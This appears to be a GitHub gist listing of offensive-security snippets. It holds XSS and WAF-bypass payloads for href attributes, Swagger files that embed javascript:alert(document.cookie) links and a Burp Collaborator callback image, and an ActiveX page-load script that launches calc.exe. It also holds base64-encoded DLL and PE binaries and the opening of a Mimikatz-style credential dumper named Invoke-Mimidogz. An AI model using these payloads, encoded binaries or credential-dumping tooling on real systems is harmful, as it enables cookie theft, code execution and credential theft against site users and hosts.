Superbug xsuperbug
xsuperbug
/ mutation_a.txt
Created
October 15, 2020 14:58
— forked from hackerscrolls/mutation_a.txt
Mutation points in <a> tag for WAF bypass
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <a[1]href[2]=[3]"[4]java[5]script:[6]alert(1)"> | |
| [1] | |
| Bytes: | |
| \x09 \x0a \x0c \x0d \x20 \x2f | |
| <a/href="javascript:alert(1)"> | |
| <a\x09href="javascript:alert(1)"> | |
| [2,3] |
xsuperbug
/ href_bypass.html
Created
October 15, 2020 14:58
— forked from hackerscrolls/href_bypass.html
XSS payloads for href
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!--javascript --> | |
| ja	vascript:alert(1) | |
| ja
vascript:alert(1) | |
| ja
vascript:alert(1) | |
| javascript:alert() | |
| <!--::colon:: --> | |
| javascript:alert() | |
| javascript:alert() | |
| javascript:alert(1) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <script language="javascript" type="text/javascript"> | |
| function OpenFile(){ | |
| alert ('Work'); | |
| var x = new ActiveXObject("WScript.Shell"); | |
| x.run('calc.exe'); | |
| } | |
| </script> | |
| </head> | |
| <body onload="OpenFile()"> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Load Rebex ECC DLL for net20 | |
| # Source: http://labs.rebex.net/curves | |
| $EncodedCompressedFile = @' | |
| 7b0HYBxJliUmL23Ke39K9UrX4HShCIBgEyTYkEAQ7MGIzeaS7B1pRyMpqyqBymVWZV1mFkDM7Z28995777333nvvvfe6O51OJ/ff/z9cZmQBbPbOStrJniGAqsgfP358Hz8ivvipP+nX+LV/jV/j1/h16P//9//9a/waf9evIc/vqT83PX8Q/f83+V3+nt/k1/jbfuyf/13/rl/z+T//u76ZF026qquLOluk02y5rNp0kqf1epkWy/Tpl6/TRTXLx7/xb5z8bgrj5emv8Ws8/zV/7V/j8uKnf28D9z/6NX6t3/U3/DV/g1/j1/iT6P+/nny2/Bvp95R++YfoJ7DD77+W4I3H/Pw1fo0f48/x/Nq/xu/5h/8av8Zvxv9zP+0Pfn47gvsavxDcrV/bfOo9/9Fv8Gv8RvTjr/obfoNf43eKfD34pL/Gr/EbeH/+BvT3t72/x23+rqWf7Z/4G8hYMFbF2zz08R8wrpt6Sr8zbhg7Bvqn/AZBu9+T/jeu87KihsAVODOsP6PX7knwAT0vQddfQ3D7tX6NX/fX+Kf+tl/n1/iPftWv/Wv8mt2Gt3we/Vpbv9mv8Wskv9av/UsIwq/zrV/wa/1i/vlr/JY7v9av8VvR9/TXb/5rr2kwv1by623/Wr/Nt36tX2+LRvTrfetIGv7a/O//9Wt+67fc+TV/jd/01+Bh/ObyVfJb/BpbvzmB/tZ/8Gv9Olv0wa/3a2//hjX9XDW/BX36g1+X/vqt7V+/1q+9RW//er+EOvp1fq1f95f8OozDr004nCiegzA+GYCBYf16DIjg/bo6tl9bf/46+pM/57H+Dr8G+I/G+mvd+7V+22/92uvf4td0I65+SwzjUl77tflf/mj0G1CXTI3f5lsv5NvqtwIxtwjur5d964+RDka/sfz8tZs/9teltgqm+W |
xsuperbug
/ swagger.json
Created
May 3, 2019 23:56
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| swagger: "2.0", | |
| info: | |
| title: "Swagger Sample App", | |
| description: "Please to click Terms of service" | |
| termsOfService: "javascript:alert(document.cookie)" | |
| contact: | |
| name: "API Support", | |
| url: "javascript:alert(document.cookie)", | |
| email: "javascript:alert(document.cookie)" | |
| version: "1.0.1" |
xsuperbug
/ swagger.yaml
Last active
May 3, 2019 23:25
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| swagger: '2.0' | |
| info: | |
| version: "0.0.1" | |
| title: Example Title | |
| description: <img src="https://828fh2yinnngr821bgxe95574yapye.burpcollaborator.net"> | |
| paths: | |
| /: | |
| get: | |
| responses: | |
| 200: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDALVJqloAAAAAAAAAAOAAIgALATAAAA4AAAAIAAAAAAAAiiwAAAAgAAAAQAAAAABAAAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACAAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAADgsAABPAAAAAEAAAPQFAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAkAwAAAAgAAAADgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAPQFAAAAQAAAAAYAAAAQAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAFgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAABsLAAAAAAAAEgAAAACAAUAcCEAAMgKAAABAAAAAQAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABswAwADAQAAAQAAESgPAAAKcgEAAHAoEAAACm8RAAAKKA8AAApyAQAAcCgQAAAKbxIAAAoCLFwCjixYAigBAAArEgAoFAAACixJBhYvFXINAABwKBUAAAoGKBYAAAo4gAAAAHKBAABwBmwoFwAACgsSASgYAAAKjBkAAAFy4QAAcCgZAAAKKBUAAAoGKBYAAAorUHL5AABwKBUAAAooGgAACigVAAAKcm8BAHAoFQAA |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <!DOCTYPE html> | |
| <html> | |
| <head> | |
| <meta charset="utf-8"> | |
| <meta name="viewport" content="width=device-width"> | |
| <title>JS Bin</title> | |
| </head> | |
| <body> | |
| <object/onerror=write`1`// | |
xsuperbug
/ invoke-mimidogz.ps1
Last active
June 6, 2018 15:06
This file has been truncated, but you can view the full file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function Invoke-Mimidogz | |
| { | |
| [CmdletBinding(DefaultParameterSetName="DumpCred")] | |
| Param( | |
| [Parameter(Position = 0)] | |
| [String[]] | |
| $ComputerName, |
xsuperbug
/ reconme.txt
Created
May 29, 2018 21:34
— forked from rootxharsh/reconme.txt
Aquatone and gowitness
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ### | |
| If you use kali or any distro over SSH (like Droplet or VM with no GUI), You might have noticed aquatone does require xorg. | |
| This few lines will help you create a report of domains with response headers and screenshots using gowitness. | |
| Gowitness : https://github.com/sensepost/gowitness | |
| Aquatone : https://github.com/michenriksen/aquatone | |
| > Setup Kali Linux Hyper-V OR Ubuntu droplet | |
| > Set VM/Droplet to Apache on boot. (Also SSH if it's VM) | |
| > Set VM to start on host boot |
NewerOlder